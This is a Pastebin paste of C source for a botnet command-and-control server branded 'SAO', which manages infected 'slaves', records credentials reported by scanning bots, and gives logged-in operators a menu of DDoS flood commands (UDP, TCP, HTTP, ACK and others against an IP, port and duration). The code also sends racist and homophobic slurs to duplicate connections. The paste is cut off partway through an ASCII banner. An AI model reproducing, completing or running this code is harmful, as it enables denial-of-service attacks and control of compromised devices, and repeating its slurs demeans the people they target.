Advertisement
Scrxbnet

sao

Sep 4th, 2018
376
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 41.54 KB | None | 0 0
  1. /*
  2. ,---.
  3. .--.--. ' ,'\
  4. / / ' ,--.--. / / |
  5. | : /`./ / \ . ; ,. :
  6. | : ;_ .--. .-. |' | |: :
  7. \ \ `. \__\/: . .' | .; :
  8. `----. \ ," .--.; || : |
  9. / /`--' // / ,. | \ \ /
  10. '--'. /; : .' \ `----'
  11. `--'---' | , .-./
  12. `--`---'
  13. Server Side By Root Senpai
  14. -------------------------------------------
  15. Banners: sao, senpai, kirito and asuna
  16. make sure login file name is sao.txt
  17.  
  18. */
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <string.h>
  22. #include <sys/types.h>
  23. #include <sys/socket.h>
  24. #include <netdb.h>
  25. #include <unistd.h>
  26. #include <time.h>
  27. #include <fcntl.h>
  28. #include <sys/epoll.h>
  29. #include <errno.h>
  30. #include <pthread.h>
  31. #include <signal.h>
  32.  
  33. #define MAXFDS 1000000
  34. #define RED "\x1b[0;31m"
  35. #define GREEN "\x1b[0;32m"
  36. #define C_RESET "\x1b[0m"
  37.  
  38. struct account {
  39. char id[20];
  40. char password[20];
  41. };
  42. static struct account accounts[10]; //max users is set on 50
  43. struct clientdata_t {
  44. uint32_t ip;
  45. char build[7];
  46. char connected;
  47. } clients[MAXFDS];
  48. struct telnetdata_t {
  49. int connected;
  50. } managements[MAXFDS];
  51. ////////////////////////////////////
  52. static volatile FILE *telFD;
  53. static volatile FILE *fileFD;
  54. static volatile int epollFD = 0;
  55. static volatile int listenFD = 0;
  56. static volatile int managesConnected = 0;
  57. static volatile int TELFound = 0;
  58. static volatile int scannerreport;
  59. ////////////////////////////////////
  60. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  61. {
  62. int total = 0, got = 1;
  63. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  64. return got;
  65. }
  66. void trim(char *str)
  67. {
  68. int i;
  69. int begin = 0;
  70. int end = strlen(str) - 1;
  71. while (isspace(str[begin])) begin++;
  72. while ((end >= begin) && isspace(str[end])) end--;
  73. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  74. str[i - begin] = '\0';
  75. }
  76. static int make_socket_non_blocking (int sfd)
  77. {
  78. int flags, s;
  79. flags = fcntl (sfd, F_GETFL, 0);
  80. if (flags == -1)
  81. {
  82. perror ("fcntl");
  83. return -1;
  84. }
  85. flags |= O_NONBLOCK;
  86. s = fcntl (sfd, F_SETFL, flags);
  87. if (s == -1)
  88. {
  89. perror ("fcntl");
  90. return -1;
  91. }
  92. return 0;
  93. }
  94. static int create_and_bind (char *port)
  95. {
  96. struct addrinfo hints;
  97. struct addrinfo *result, *rp;
  98. int s, sfd;
  99. memset (&hints, 0, sizeof (struct addrinfo));
  100. hints.ai_family = AF_UNSPEC;
  101. hints.ai_socktype = SOCK_STREAM;
  102. hints.ai_flags = AI_PASSIVE;
  103. s = getaddrinfo (NULL, port, &hints, &result);
  104. if (s != 0)
  105. {
  106. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  107. return -1;
  108. }
  109. for (rp = result; rp != NULL; rp = rp->ai_next)
  110. {
  111. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  112. if (sfd == -1) continue;
  113. int yes = 1;
  114. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  115. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  116. if (s == 0)
  117. {
  118. break;
  119. }
  120. close (sfd);
  121. }
  122. if (rp == NULL)
  123. {
  124. fprintf (stderr, "STOP USING IRELIVANT PORTS\n");
  125. return -1;
  126. }
  127. freeaddrinfo (result);
  128. return sfd;
  129. }
  130. void broadcast(char *msg, int us, char *sender)
  131. {
  132. int sendMGM = 1;
  133. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  134. char *wot = malloc(strlen(msg) + 10);
  135. memset(wot, 0, strlen(msg) + 10);
  136. strcpy(wot, msg);
  137. trim(wot);
  138. time_t rawtime;
  139. struct tm * timeinfo;
  140. time(&rawtime);
  141. timeinfo = localtime(&rawtime);
  142. char *timestamp = asctime(timeinfo);
  143. trim(timestamp);
  144. int i;
  145. for(i = 0; i < MAXFDS; i++)
  146. {
  147. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  148. if(sendMGM && managements[i].connected)
  149. {
  150. send(i, "\x1b[1;35m", 9, MSG_NOSIGNAL);
  151. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  152. send(i, ": \n", 2, MSG_NOSIGNAL);
  153. }
  154. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  155. if(sendMGM && managements[i].connected) send(i, "\r\n:", 2, MSG_NOSIGNAL);
  156. else send(i, "\n", 1, MSG_NOSIGNAL);
  157. }
  158. free(wot);
  159. }
  160. void *epollEventLoop(void *useless)
  161. {
  162. struct epoll_event event;
  163. struct epoll_event *events;
  164. int s;
  165. events = calloc (MAXFDS, sizeof event);
  166. while (1)
  167. {
  168. int n, i;
  169. n = epoll_wait (epollFD, events, MAXFDS, -1);
  170. for (i = 0; i < n; i++)
  171. {
  172. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  173. {
  174. clients[events[i].data.fd].connected = 0;
  175. close(events[i].data.fd);
  176. continue;
  177. }
  178. else if (listenFD == events[i].data.fd)
  179. {
  180. while (1)
  181. {
  182. struct sockaddr in_addr;
  183. socklen_t in_len;
  184. int infd, ipIndex;
  185. in_len = sizeof in_addr;
  186. infd = accept (listenFD, &in_addr, &in_len);
  187. if (infd == -1)
  188. {
  189. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  190. else
  191. {
  192. perror ("accept");
  193. break;
  194. }
  195. }
  196. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  197. int dup = 0;
  198. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  199. {
  200. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  201. if(clients[ipIndex].ip == clients[infd].ip)
  202. {
  203. dup = 1;
  204. break;
  205. }
  206. }
  207.  
  208. if(dup)
  209. {
  210. if(send(infd, "- GTFONIGGER\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  211. if(send(infd, "- GTFOFAG\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  212. if(send(infd, "- GTFODUP\n\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  213. if(send(infd, "- DUPES\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  214. if(send(infd, "- GTFOPUSSY\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  215. if(send(infd, "- LOLNOGTFO\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  216. close(infd);
  217. continue;
  218. }
  219.  
  220. s = make_socket_non_blocking (infd);
  221. if (s == -1) { close(infd); break; }
  222.  
  223. event.data.fd = infd;
  224. event.events = EPOLLIN | EPOLLET;
  225. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  226. if (s == -1)
  227. {
  228. perror ("epoll_ctl");
  229. close(infd);
  230. break;
  231. }
  232.  
  233. clients[infd].connected = 1;
  234.  
  235. }
  236. continue;
  237. }
  238. else
  239. {
  240. int thefd = events[i].data.fd;
  241. struct clientdata_t *client = &(clients[thefd]);
  242. int done = 0;
  243. client->connected = 1;
  244. while (1)
  245. {
  246. ssize_t count;
  247. char buf[2048];
  248. memset(buf, 0, sizeof buf);
  249.  
  250. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  251. {
  252. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  253. trim(buf);
  254. if(strcmp(buf, "PING") == 0)
  255. {
  256. if(send(thefd, "pOnG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  257. continue;
  258. }
  259. if(strstr(buf, "REPORT ") == buf)
  260. {
  261. char *line = strstr(buf, "REPORT ") + 7;
  262. fprintf(telFD, "%s\n", line);
  263. fflush(telFD);
  264. TELFound++;
  265. continue;
  266. }
  267. if(strstr(buf, "PROBING") == buf)
  268. {
  269. char *line = strstr(buf, "PROBING");
  270. scannerreport = 1;
  271. continue;
  272. }
  273. if(strstr(buf, "REMOVING PROBE") == buf)
  274. {
  275. char *line = strstr(buf, "REMOVING PROBE");
  276. scannerreport = 0;
  277. continue;
  278. }
  279. if(strcmp(buf, "pOnG") == 0)
  280. {
  281. continue;
  282. }
  283.  
  284. printf("\"%s\"\n", buf);
  285. }
  286.  
  287. if (count == -1)
  288. {
  289. if (errno != EAGAIN)
  290. {
  291. done = 1;
  292. }
  293. break;
  294. }
  295. else if (count == 0)
  296. {
  297. done = 1;
  298. break;
  299. }
  300. }
  301.  
  302. if (done)
  303. {
  304. client->connected = 0;
  305. close(thefd);
  306. }
  307. }
  308. }
  309. }
  310. }
  311. unsigned int clientsConnected()
  312. {
  313. int i = 0, total = 0;
  314. for(i = 0; i < MAXFDS; i++)
  315. {
  316. if(!clients[i].connected) continue;
  317. total++;
  318. }
  319.  
  320. return total*1;
  321. }
  322. void *titleWriter(void *sock)
  323. {
  324. int thefd = (int)sock;
  325. char string[2048];
  326. while(1)
  327. {
  328. memset(string, 0, 2048);
  329. sprintf(string, "%c]0; [+] SAO Slaves: %d [-] SwordMens: %d [+]%c", '\033', clientsConnected(), managesConnected, '\007');
  330. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  331.  
  332. sleep(3);
  333. }
  334. }
  335.  
  336. int Search_in_File(char *str)
  337. {
  338. FILE *fp;
  339. int line_num = 0;
  340. int find_result = 0, find_line=0;
  341. char temp[512];
  342.  
  343. if((fp = fopen("sao.txt", "r")) == NULL){
  344. return(-1);
  345. }
  346. while(fgets(temp, 512, fp) != NULL){
  347. if((strstr(temp, str)) != NULL){
  348. find_result++;
  349. find_line = line_num;
  350. }
  351. line_num++;
  352. }
  353. if(fp)
  354. fclose(fp);
  355.  
  356. if(find_result == 0)return 0;
  357.  
  358. return find_line;
  359. }
  360. void client_addr(struct sockaddr_in addr){
  361. printf("IP:%d.%d.%d.%d\n",
  362. addr.sin_addr.s_addr & 0xFF,
  363. (addr.sin_addr.s_addr & 0xFF00)>>8,
  364. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  365. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  366. FILE *logFile;
  367. logFile = fopen("server.log", "a");
  368. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  369. addr.sin_addr.s_addr & 0xFF,
  370. (addr.sin_addr.s_addr & 0xFF00)>>8,
  371. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  372. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  373. fclose(logFile);
  374. }
  375.  
  376. void *telnetWorker(void *sock)
  377. {
  378. char usernamez[80];
  379. int thefd = (int)sock;
  380. int find_line;
  381. managesConnected++;
  382. pthread_t title;
  383. char counter[2048];
  384. memset(counter, 0, 2048);
  385. char buf[2048];
  386. char* nickstring;
  387. char* username;
  388. char* password;
  389. memset(buf, 0, sizeof buf);
  390. char botnet[2048];
  391. memset(botnet, 0, 2048);
  392.  
  393. FILE *fp;
  394. int i=0;
  395. int c;
  396. fp=fopen("sao.txt", "r");
  397. while(!feof(fp))
  398. {
  399. c=fgetc(fp);
  400. ++i;
  401. }
  402. int j=0;
  403. rewind(fp);
  404. while(j!=i-1)
  405. {
  406. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  407. ++j;
  408. }
  409.  
  410. if(send(thefd, "\x1b[37mSAO User: \x1b[37m", 23, MSG_NOSIGNAL) == -1) goto end;
  411. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  412. trim(buf);
  413. sprintf(usernamez, buf);
  414. nickstring = ("%s", buf);
  415. find_line = Search_in_File(nickstring);
  416. if(strcmp(nickstring, accounts[find_line].id) == 0){
  417. if(send(thefd, "\x1b[36m* LOADING SAO world *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  418. if(send(thefd, "\x1b[1;35mSAO Pass: \x1b[1;37m", 23, MSG_NOSIGNAL) == -1) goto end;
  419. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  420. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  421. trim(buf);
  422. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  423. memset(buf, 0, 2048);
  424. goto fak;
  425. }
  426. failed:
  427. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  428. if(send(thefd, "\x1b[36m************************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  429. if(send(thefd, "\x1b[0;35m* gtfo out of my world bitch! *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  430. if(send(thefd, "\x1b[36m************************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  431. sleep(5);
  432. goto end;
  433. fak:
  434.  
  435. Title:
  436. pthread_create(&title, NULL, &titleWriter, sock);
  437.  
  438. char bashline[1024];
  439. sprintf(bashline,"\x1b[35;1m[\x1b[37;1m%s\x1b[35;1m@\x1b[37;1mシノア\x1b[35;1m]\x1b[36;1m~#\x1b[0m",accounts[find_line].id, buf);
  440.  
  441. while(1) {
  442. if(send(thefd, bashline, 65, MSG_NOSIGNAL) == -1) goto end;
  443. break;
  444. }
  445. pthread_create(&title, NULL, &titleWriter, sock);
  446. managements[thefd].connected = 1;
  447.  
  448. while(fdgets(buf, sizeof buf, thefd) > 0)
  449. {
  450. if(strstr(buf, "news"))
  451. {
  452. sprintf(botnet, "nothin...\r\n");
  453. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  454. }
  455. if(strstr(buf, "owners"))
  456. {
  457. sprintf(botnet, "@root.senpai\r\n");
  458. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  459. }
  460. if(strstr(buf, "bots"))
  461. {
  462. sprintf(botnet, "[+] SAO Slaves: %d [-] SwordMens: %d [+]\r\n", clientsConnected(), managesConnected);
  463. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  464. }
  465. if(strstr(buf, "!* TCP"))
  466. {
  467. sprintf(botnet, "SAO players slapping with [TCP]\r\n");
  468. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  469. }
  470. if(strstr(buf, "!* HOLD"))
  471. {
  472. sprintf(botnet, "SAO players holding em [HOLD]\r\n");
  473. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  474. }
  475. if(strstr(buf, "!* JUNK"))
  476. {
  477. sprintf(botnet, "dont be a SAO jucky [JUNK]\r\n");
  478. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  479. }
  480. if(strstr(buf, "!* HTTP"))
  481. {
  482. sprintf(botnet, "SAO players running that site [HTTP]\r\n");
  483. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  484. }
  485. if(strstr(buf, "!* STD"))
  486. {
  487. sprintf(botnet, "SAO players slapping with [STD]\r\n");
  488. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  489. }
  490. if(strstr(buf, "!* CNC"))
  491. {
  492. sprintf(botnet, "SAO players fukcing up that net [CNC]\r\n");
  493. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  494. }
  495. if(strstr(buf, "!* UDP"))
  496. {
  497. sprintf(botnet, "SAO Sleaves Attacking em sluts [UDP]\r\n");
  498. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  499. }
  500. if(strstr(buf, "ports"))
  501. {
  502. sprintf(botnet, "PORTS: 77=TCP 53=DNS 443=NFO/OVH Source Port 22=SSH 80=HTTP PS3/XBOX=3074\r\n");
  503. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  504. }
  505. if(strstr(buf, "dev"))
  506. {
  507. sprintf(botnet, "@root.senpai\r\n");
  508. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  509. }
  510. if(strstr(buf, "menu")) {
  511. pthread_create(&title, NULL, &titleWriter, sock);
  512. char helpline1 [80];
  513. char helpline2 [80];
  514. char helpline3 [80];
  515. char helpline4 [80];
  516.  
  517. sprintf(helpline1, "\x1b[1;37mType A Option From Below:\r\n");
  518. sprintf(helpline2, "\x1b[1;37mhelp \x1b[1;31m ~ DDOS Commands\r\n");
  519. sprintf(helpline3, "\x1b[1;37mmore \x1b[1;31m ~ Extra Lit Commands\r\n");
  520.  
  521. if(send(thefd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  522. if(send(thefd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  523. if(send(thefd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  524. pthread_create(&title, NULL, &titleWriter, sock);
  525. while(1) {
  526. if(send(thefd, bashline, 65, MSG_NOSIGNAL) == -1) goto end;
  527. break;
  528. }
  529. continue;
  530. }
  531. if(strstr(buf, "help")) {
  532. pthread_create(&title, NULL, &titleWriter, sock);
  533. char ddosline1 [80];
  534. char ddosline2 [80];
  535. char ddosline3 [80];
  536. char ddosline4 [80];
  537. char ddosline5 [80];
  538. char ddosline6 [80];
  539.  
  540. sprintf(ddosline1, "\x1b[1;37m- U {IP} {PORT} {TIME} 32 1024 1\r\n");
  541. sprintf(ddosline2, "\x1b[1;37m- V {IP} {PORT} {TIME} 32 1024 1\r\n");
  542. sprintf(ddosline3, "\x1b[1;37m- ACK {IP} {PORT} {TIME} 32 1024 1\r\n");
  543. sprintf(ddosline4, "\x1b[1;37m- LYNX {IP} {PORT} {TIME} 32 1024 1\r\n");
  544. sprintf(ddosline5, "\x1b[1;37m- S {IP} {PORT} {TIME} 32 1024 1\r\n");
  545. sprintf(ddosline6, "\x1b[1;37m- KT\r\n");
  546.  
  547. if(send(thefd, ddosline1, strlen(ddosline1), MSG_NOSIGNAL) == -1) goto end;
  548. if(send(thefd, ddosline2, strlen(ddosline2), MSG_NOSIGNAL) == -1) goto end;
  549. if(send(thefd, ddosline3, strlen(ddosline3), MSG_NOSIGNAL) == -1) goto end;
  550. if(send(thefd, ddosline4, strlen(ddosline4), MSG_NOSIGNAL) == -1) goto end;
  551. if(send(thefd, ddosline5, strlen(ddosline5), MSG_NOSIGNAL) == -1) goto end;
  552. if(send(thefd, ddosline6, strlen(ddosline6), MSG_NOSIGNAL) == -1) goto end;
  553. pthread_create(&title, NULL, &titleWriter, sock);
  554. while(1) {
  555. if(send(thefd, bashline, 65, MSG_NOSIGNAL) == -1) goto end;
  556. break;
  557. }
  558. continue;
  559.  
  560. }
  561.  
  562. if(strstr(buf, "more")) {
  563. pthread_create(&title, NULL, &titleWriter, sock);
  564. char extraline1 [80];
  565. char extraline2 [80];
  566. char extraline3 [80];
  567. char extraline4 [80];
  568. char extraline5 [80];
  569. char extraline6 [80];
  570. char extraline7 [80];
  571. char extraline8 [80];
  572. char extraline9 [80];
  573. char extraline10 [80];
  574. char extraline11 [80];
  575.  
  576. sprintf(extraline1, "\x1b[35m sao | sao Clear\r\n");
  577. sprintf(extraline2, "\x1b[35m kirito | kirito Clear\r\n");
  578. sprintf(extraline3, "\x1b[35m senpai | senpai Clear\r\n");
  579. sprintf(extraline4, "\x1b[35m asuna | asuna Clear\r\n");
  580. sprintf(extraline8, "\x1b[35m clear | Clears Screen To Start Banner\r\n");
  581. sprintf(extraline9, "\x1b[35m ports | TO show ports\r\n");
  582. sprintf(extraline10, "\x1b[35m dev | TO SEE DEV\r\n");
  583. sprintf(extraline11, "\x1b[35m bots | BOT COUNT\r\n");
  584.  
  585. if(send(thefd, extraline1, strlen(extraline1), MSG_NOSIGNAL) == -1) goto end;
  586. if(send(thefd, extraline2, strlen(extraline2), MSG_NOSIGNAL) == -1) goto end;
  587. if(send(thefd, extraline3, strlen(extraline3), MSG_NOSIGNAL) == -1) goto end;
  588. if(send(thefd, extraline4, strlen(extraline4), MSG_NOSIGNAL) == -1) goto end;
  589. if(send(thefd, extraline8, strlen(extraline8), MSG_NOSIGNAL) == -1) goto end;
  590. if(send(thefd, extraline9, strlen(extraline9), MSG_NOSIGNAL) == -1) goto end;
  591. if(send(thefd, extraline10, strlen(extraline10), MSG_NOSIGNAL) == -1) goto end;
  592. if(send(thefd, extraline11, strlen(extraline11), MSG_NOSIGNAL) == -1) goto end;
  593. pthread_create(&title, NULL, &titleWriter, sock);
  594. while(1) {
  595. if(send(thefd, bashline, 65, MSG_NOSIGNAL) == -1) goto end;
  596. break;
  597. }
  598. continue;
  599. }
  600.  
  601. if(strstr(buf, "cls")){
  602.  
  603. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  604. managements[thefd].connected = 1;
  605. }
  606.  
  607. if(strstr(buf, "clear")){
  608. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  609. managements[thefd].connected = 1;
  610. }
  611.  
  612. if(strstr(buf, "senpai")) {
  613. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  614.  
  615. char senpai1 [5000];
  616. char senpai2 [5000];
  617. char senpai3 [5000];
  618. char senpai4 [5000];
  619. char senpai5 [5000];
  620. char senpai6 [5000];
  621. char senpai7 [5000];
  622.  
  623. sprintf(senpai1, "\x1b \r\n");
  624. sprintf(senpai2, "\x1b[1;35m ███████\x1b[1;36m╗\x1b[1;35m███████\x1b[1;36m╗\x1b[1;35m███\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██████\x1b[1;36m╗ \x1b[1;35m█████\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m╗\r\n");
  625. sprintf(senpai3, "\x1b[1;35m ██\x1b[1;36m╔════╝\x1b[1;35m██\x1b[1;36m╔════╝\x1b[1;35m████\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║\r\n");
  626. sprintf(senpai4, "\x1b[1;35m ███████\x1b[1;36m╗\x1b[1;35m█████\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m╔\x1b[1;35m██\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██████\x1b[1;36m╔╝\x1b[1;35m███████\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n");
  627. sprintf(senpai5, "\x1b[1;36m ╚════\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔══╝ \x1b[1;35m██\x1b[1;36m║╚\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔═══╝ \x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n");
  628. sprintf(senpai6, "\x1b[1;35m ███████\x1b[1;36m║\x1b[1;35m███████\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║ ╚\x1b[1;35m████\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║ \x1b[1;35m██\x1b[1;36m║ \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m║\r\n");
  629. sprintf(senpai7, "\x1b[1;36m ╚══════╝╚══════╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝╚═╝\r\n");
  630.  
  631. if(send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  632. if(send(thefd, senpai1, strlen(senpai1), MSG_NOSIGNAL) == -1) goto end;
  633. if(send(thefd, senpai2, strlen(senpai2), MSG_NOSIGNAL) == -1) goto end;
  634. if(send(thefd, senpai3, strlen(senpai3), MSG_NOSIGNAL) == -1) goto end;
  635. if(send(thefd, senpai4, strlen(senpai4), MSG_NOSIGNAL) == -1) goto end;
  636. if(send(thefd, senpai5, strlen(senpai5), MSG_NOSIGNAL) == -1) goto end;
  637. if(send(thefd, senpai6, strlen(senpai6), MSG_NOSIGNAL) == -1) goto end;
  638. if(send(thefd, senpai7, strlen(senpai7), MSG_NOSIGNAL) == -1) goto end;
  639. while(1) {
  640. if(send(thefd, bashline, 65, MSG_NOSIGNAL) == -1) goto end;
  641. break;
  642. }
  643. continue;
  644.  
  645. }
  646.  
  647.  
  648. if(strstr(buf, "asuna")){
  649. char asuna_banner1 [5000];
  650. char asuna_banner2 [5000];
  651. char asuna_banner3 [5000];
  652. char asuna_banner4 [5000];
  653. char asuna_banner5 [5000];
  654. char asuna_banner6 [5000];
  655. char asuna_banner7 [5000];
  656. char asuna_banner8 [5000];
  657. char asuna_banner9 [5000];
  658. char asuna_banner10 [5000];
  659. char asuna_banner11 [5000];
  660.  
  661. sprintf(asuna_banner1, "\x1b[1;37m ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ \r\n");
  662. sprintf(asuna_banner2, "\x1b[1;37m ▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌\r\n");
  663. sprintf(asuna_banner3, "\x1b[1;37m ▐\x1b[0;31m░\x1b[1;37m█▀▀▀▀▀▀▀█\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m█▀▀▀▀▀▀▀▀▀ ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m█▀▀▀▀▀▀▀█\x1b[0;31m░\x1b[1;37m▌\r\n");
  664. sprintf(asuna_banner4, "\x1b[1;37m ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌\r\n");
  665. sprintf(asuna_banner5, "\x1b[1;37m ▐\x1b[0;31m░\x1b[1;37m█▄▄▄▄▄▄▄█\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m█▄▄▄▄▄▄▄▄▄ ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m█▄▄▄▄▄▄▄█\x1b[0;31m░\x1b[1;37m▌\r\n");
  666. sprintf(asuna_banner6, "\x1b[1;37m ▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░░░░░░░░░░░\x1b[1;37m▌\r\n");
  667. sprintf(asuna_banner7, "\x1b[1;37m ▐\x1b[0;31m░\x1b[1;37m█▀▀▀▀▀▀▀█\x1b[0;31m░\x1b[1;37m▌ ▀▀▀▀▀▀▀▀▀█\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m█▀▀▀▀▀▀▀█\x1b[0;31m░\x1b[1;37m▌\r\n");
  668. sprintf(asuna_banner8, "\x1b[1;37m ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌▐\x1b[0;31m░\x1b[1;37m▌ ▐\x1b[0;31m░\x1b[1;37m▌\r\n");
